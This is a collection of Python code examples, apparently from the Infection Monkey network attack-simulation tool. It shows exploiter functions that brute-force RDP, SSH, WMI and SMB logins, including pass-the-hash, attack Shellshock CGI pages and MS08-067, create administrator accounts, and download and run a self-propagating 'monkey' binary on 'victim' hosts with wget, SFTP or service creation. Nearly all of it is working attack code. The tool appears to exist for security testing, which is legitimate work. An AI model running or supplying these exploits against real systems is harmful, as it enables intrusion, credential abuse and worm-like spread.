Esempio n. 1
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 def execute_remote_monkey(self, url, path, dropper=False):
     """
     This method executes remote monkey
     :param url: Where to send malicious packets
     :param path: Path to monkey on remote host
     :param dropper: Should remote monkey be executed with dropper or with monkey arg?
     :return: Response or False if failed
     """
     LOG.info("Trying to execute remote monkey")
     # Get monkey command line
     if dropper and path:
         # If dropper is chosen we try to move monkey to default location
         default_path = self.get_default_dropper_path()
         if default_path is False:
             return False
         monkey_cmd = build_monkey_commandline(self.host,
                                               get_monkey_depth() - 1,
                                               default_path)
         command = RUN_MONKEY % {
             'monkey_path': path,
             'monkey_type': DROPPER_ARG,
             'parameters': monkey_cmd
         }
     else:
         monkey_cmd = build_monkey_commandline(self.host,
                                               get_monkey_depth() - 1)
         command = RUN_MONKEY % {
             'monkey_path': path,
             'monkey_type': MONKEY_ARG,
             'parameters': monkey_cmd
         }
     try:
         resp = self.exploit(url, command)
         # If exploiter returns True / False
         if type(resp) is bool:
             LOG.info("Execution attempt successfully finished")
             return resp
         # If exploiter returns command output, we can check for execution errors
         if 'is not recognized' in resp or 'command not found' in resp:
             LOG.error(
                 "Wrong path chosen or other process already deleted monkey"
             )
             return False
         elif 'The system cannot execute' in resp:
             LOG.error("System could not execute monkey")
             return False
     except Exception as e:
         LOG.error(
             "Something went wrong when trying to execute remote monkey: %s"
             % e)
         return False
     LOG.info("Execution attempt finished")
     return resp
Esempio n. 2
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    def build_command(self, path, http_path):
        # Build command to execute
        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
        if 'linux' in self.host.os['type']:
            base_command = self.LINUX_COMMAND
        else:
            base_command = self.WINDOWS_COMMAND

        return base_command % {"monkey_path": path, "http_path": http_path,
                               "monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
Esempio n. 3
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    def exploit_host(self):
        global g_reactor

        is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
        if not is_open:
            LOG.info("RDP port is closed on %r, skipping", self.host)
            return False

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        # create server for http download.
        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)

        if not http_path:
            LOG.debug(
                "Exploiter RdpGrinder failed, http transfer creation failed.")
            return False

        LOG.info("Started http server on %s", http_path)

        cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)

        if self._config.rdp_use_vbs_download:
            command = RDP_CMDLINE_HTTP_VBS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path,
                'parameters': cmdline
            }
        else:
            command = RDP_CMDLINE_HTTP_BITS % {
                'monkey_path': self._config.dropper_target_path_win_32,
                'http_path': http_path,
                'parameters': cmdline
            }

        user_password_pairs = self._config.get_exploit_user_password_pairs()

        if not g_reactor.is_alive():
            g_reactor.daemon = True
            g_reactor.start()

        exploited = False
        for user, password in user_password_pairs:
            try:
                # run command using rdp.
                LOG.info(
                    "Trying RDP logging into victim %r with user %s and password '%s'",
                    self.host, user, password)

                LOG.info("RDP connected to %r", self.host)

                client_factory = CMDClientFactory(user, password, "", command)

                reactor.callFromThread(reactor.connectTCP, self.host.ip_addr,
                                       RDP_PORT, client_factory)

                client_factory.done_event.wait()

                if client_factory.success:
                    exploited = True
                    self.report_login_attempt(True, user, password)
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password)

            except Exception as exc:
                LOG.debug(
                    "Error logging into victim %r with user"
                    " %s and password '%s': (%s)", self.host, user, password,
                    exc)
                continue

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        if not exploited:
            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
            return False
        elif http_thread.downloads == 0:
            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
            return False

        LOG.info("Executed monkey '%s' on remote victim %r",
                 os.path.basename(src_path), self.host)

        return True
Esempio n. 4
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    def exploit_host(self):
        # start by picking ports
        candidate_services = {
            service: self.host.services[service]
            for service in self.host.services
            if ('name' in self.host.services[service]) and (
                self.host.services[service]['name'] == 'http')
        }

        valid_ports = [
            (port, candidate_services['tcp-' + str(port)]['data'][1])
            for port in self.HTTP if 'tcp-' + str(port) in candidate_services
        ]
        http_ports = [port[0] for port in valid_ports if not port[1]]
        https_ports = [port[0] for port in valid_ports if port[1]]

        LOG.info('Scanning %s, ports [%s] for vulnerable CGI pages' %
                 (self.host, ",".join([str(port[0]) for port in valid_ports])))

        attackable_urls = []
        # now for each port we want to check the entire URL list
        for port in http_ports:
            urls = self.check_urls(self.host.ip_addr, port)
            attackable_urls.extend(urls)
        for port in https_ports:
            urls = self.check_urls(self.host.ip_addr, port, is_https=True)
            attackable_urls.extend(urls)
        # now for each URl we want to try and see if it's attackable
        exploitable_urls = [
            self.attempt_exploit(url) for url in attackable_urls
        ]
        exploitable_urls = [url for url in exploitable_urls if url[0] is True]

        # we want to report all vulnerable URLs even if we didn't succeed
        self._exploit_info['vulnerable_urls'] = [
            url[1] for url in exploitable_urls
        ]

        # now try URLs until we install something on victim
        for _, url, header, exploit in exploitable_urls:
            LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
            # same attack script as sshexec
            # for any failure, quit and don't try other URLs
            if not self.host.os.get('type'):
                try:
                    uname_os_attack = exploit + '/bin/uname -o'
                    uname_os = self.attack_page(url, header, uname_os_attack)
                    if 'linux' in uname_os:
                        self.host.os['type'] = 'linux'
                    else:
                        LOG.info("SSH Skipping unknown os: %s", uname_os)
                        return False
                except Exception as exc:
                    LOG.debug(
                        "Error running uname os commad on victim %r: (%s)",
                        self.host, exc)
                    return False
            if not self.host.os.get('machine'):
                try:
                    uname_machine_attack = exploit + '/bin/uname -m'
                    uname_machine = self.attack_page(url, header,
                                                     uname_machine_attack)
                    if '' != uname_machine:
                        self.host.os['machine'] = uname_machine.lower().strip()
                except Exception as exc:
                    LOG.debug(
                        "Error running uname machine commad on victim %r: (%s)",
                        self.host, exc)
                    return False

            # copy the monkey
            dropper_target_path_linux = self._config.dropper_target_path_linux
            if self.skip_exist and (self.check_remote_file_exists(
                    url, header, exploit, dropper_target_path_linux)):
                LOG.info(
                    "Host %s was already infected under the current configuration, done"
                    % self.host)
                return True  # return already infected

            src_path = get_target_monkey(self.host)
            if not src_path:
                LOG.info("Can't find suitable monkey executable for host %r",
                         self.host)
                return False

            http_path, http_thread = HTTPTools.create_transfer(
                self.host, src_path)

            if not http_path:
                LOG.debug(
                    "Exploiter ShellShock failed, http transfer creation failed."
                )
                return False

            download_command = '/usr/bin/wget %s -O %s;' % (
                http_path, dropper_target_path_linux)

            download = exploit + download_command
            self.attack_page(
                url, header, download
            )  # we ignore failures here since it might take more than TIMEOUT time

            http_thread.join(DOWNLOAD_TIMEOUT)
            http_thread.stop()

            if (http_thread.downloads !=
                    1) or ('ELF' not in self.check_remote_file_exists(
                        url, header, exploit, dropper_target_path_linux)):
                LOG.debug("Exploiter %s failed, http download failed." %
                          self.__class__.__name__)
                continue

            # turn the monkey into an executable
            chmod = '/bin/chmod +x %s' % dropper_target_path_linux
            run_path = exploit + chmod
            self.attack_page(url, header, run_path)

            # run the monkey
            cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
            cmdline += build_monkey_commandline(
                self.host,
                get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
            run_path = exploit + cmdline
            self.attack_page(url, header, run_path)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     cmdline)

            if not (self.check_remote_file_exists(
                    url, header, exploit, self._config.monkey_log_path_linux)):
                LOG.info("Log file does not exist, monkey might not have run")
                continue

            return True

        return False
Esempio n. 5
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    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        for user, password, lm_hash, ntlm_hash in creds:
            LOG.debug(
                "Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                self.host, user, password, lm_hash, ntlm_hash)

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(self.host, user, password, None,
                                       lm_hash, ntlm_hash)
            except AccessDeniedException:
                self.report_login_attempt(False, user, password, lm_hash,
                                          ntlm_hash)
                LOG.debug(
                    "Failed connecting to %r using WMI with "
                    "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                    self.host, user, password, lm_hash, ntlm_hash)
                continue
            except DCERPCException:
                self.report_login_attempt(False, user, password, lm_hash,
                                          ntlm_hash)
                LOG.debug(
                    "Failed connecting to %r using WMI with "
                    "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                    self.host, user, password, lm_hash, ntlm_hash)
                continue
            except socket.error:
                LOG.debug(
                    "Network error in WMI connection to %r with "
                    "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
                    self.host, user, password, lm_hash, ntlm_hash)
                return False
            except Exception as exc:
                LOG.debug(
                    "Unknown WMI connection error to %r with "
                    "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
                    self.host, user, password, lm_hash, ntlm_hash, exc,
                    traceback.format_exc())
                return False

            self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(wmi_connection,
                                                "Win32_Process",
                                                fields=("Caption", ),
                                                where="Name='%s'" %
                                                ntpath.split(src_path)[-1])
            if process_list:
                wmi_connection.close()

                LOG.debug("Skipping %r - already infected", self.host)
                return False

            # copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(
                self.host, src_path, self._config.dropper_target_path_win_32,
                user, password, lm_hash, ntlm_hash,
                self._config.smb_download_timeout)

            if not remote_full_path:
                wmi_connection.close()
                return False
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower(
            ) != self._config.dropper_target_path_win_32.lower():
                cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
                          build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
            else:
                cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                          build_monkey_commandline(self.host, get_monkey_depth() - 1)

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection,
                                         "Win32_Process").Create(
                                             cmdline,
                                             ntpath.split(remote_full_path)[0],
                                             None)

            if (0 != result.ProcessId) and (0 == result.ReturnValue):
                LOG.info(
                    "Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                    remote_full_path, self.host, result.ProcessId,
                    result.ReturnValue, cmdline)
                success = True
            else:
                LOG.debug(
                    "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
                    remote_full_path, self.host, result.ProcessId,
                    result.ReturnValue, cmdline)
                success = False

            result.RemRelease()
            wmi_connection.close()

            return success

        return False
Esempio n. 6
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 def get_monkey_commandline_file(self, location):
     return BytesIO(DROPPER_ARG +
                    build_monkey_commandline(self.host,
                                             get_monkey_depth() -
                                             1, str(location)))
Esempio n. 7
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    def exploit_host(self):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in self.host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", self.host)
            return False

        #Check for possible ssh exploits
        exploited = self.exploit_with_ssh_keys(port, ssh)
        if not exploited:
            exploited = self.exploit_with_login_creds(port, ssh)

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not self.host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    self.host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)",
                          self.host, exc)
                return False

        if not self.host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    self.host.os['machine'] = uname_machine
            except Exception as exc:
                LOG.debug(
                    "Error running uname machine commad on victim %r: (%s)",
                    self.host, exc)

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux)
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                LOG.info(
                    "Host %s was already infected under the current configuration, done"
                    % self.host)
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj,
                          self._config.dropper_target_path_linux,
                          file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)

            ftp.close()
        except Exception as exc:
            LOG.debug("Error uploading file into victim %r: (%s)", self.host,
                      exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux,
                                 MONKEY_ARG)
            cmdline += build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1)
            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, self.host,
                     cmdline)

            ssh.close()
            return True

        except Exception as exc:
            LOG.debug("Error running monkey on victim %r: (%s)", self.host,
                      exc)
            return False
Esempio n. 8
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    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        os_version = self._windows_versions.get(self.host.os.get('version'),
                                                WindowsVersion.Windows2003_SP2)

        exploited = False
        for _ in range(self._config.ms08_067_exploit_attempts):
            exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr,
                                     os_version=os_version)

            try:
                sock = exploit.start()

                sock.send("cmd /c (net user %s %s /add) &&"
                          " (net localgroup administrators %s /add)\r\n" %
                          (self._config.ms08_067_remote_user_add,
                           self._config.ms08_067_remote_user_pass,
                           self._config.ms08_067_remote_user_add))
                time.sleep(2)
                reply = sock.recv(1000)

                LOG.debug("Exploited into %r using MS08-067", self.host)
                exploited = True
                break
            except Exception as exc:
                LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter MS08-067 is giving up...")
            return False

        # copy the file remotely using SMB
        remote_full_path = SmbTools.copy_file(
            self.host, src_path, self._config.dropper_target_path_win_32,
            self._config.ms08_067_remote_user_add,
            self._config.ms08_067_remote_user_pass)

        if not remote_full_path:
            # try other passwords for administrator
            for password in self._config.exploit_password_list:
                remote_full_path = SmbTools.copy_file(
                    self.host, src_path,
                    self._config.dropper_target_path_win_32, "Administrator",
                    password)
                if remote_full_path:
                    break

            if not remote_full_path:
                return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower(
        ) != self._config.dropper_target_path_win_32.lower():
            cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
        else:
            cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        try:
            sock.send("start %s\r\n" % (cmdline, ))
            sock.send("net user %s /delete\r\n" %
                      (self._config.ms08_067_remote_user_add, ))
        except Exception as exc:
            LOG.debug(
                "Error in post-debug phase while exploiting victim %r: (%s)",
                self.host, exc)
            return False
        finally:
            try:
                sock.close()
            except socket.error:
                pass

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True
Esempio n. 9
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    def exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        exploited = False
        for user, password, lm_hash, ntlm_hash in creds:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(
                    self.host, src_path,
                    self._config.dropper_target_path_win_32, user, password,
                    lm_hash, ntlm_hash, self._config.smb_download_timeout)

                if remote_full_path is not None:
                    LOG.debug(
                        "Successfully logged in %r using SMB (%s : %s : %s : %s)",
                        self.host, user, password, lm_hash, ntlm_hash)
                    self.report_login_attempt(True, user, password, lm_hash,
                                              ntlm_hash)
                    exploited = True
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password, lm_hash,
                                              ntlm_hash)

            except Exception as exc:
                LOG.debug(
                    "Exception when trying to copy file using SMB to %r with user:"******" %s, password: '******', LM hash: %s, NTLM hash: %s: (%s)",
                    self.host, user, password, lm_hash, ntlm_hash, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SmbExec is giving up...")
            return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower(
        ) != self._config.dropper_target_path_win_32.lower():
            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
        else:
            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
                      build_monkey_commandline(self.host, get_monkey_depth() - 1)

        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(
                str_bind_format % (self.host.ip_addr, ))
            rpctransport.set_dport(port)

            if hasattr(rpctransport, 'preferred_dialect'):
                rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(user, password, '', lm_hash,
                                             ntlm_hash, None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception as exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         self.host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()
            break

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc,
                                     sc_handle,
                                     self._config.smb_service_name,
                                     self._config.smb_service_name,
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
            scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, self.host, cmdline)

        return True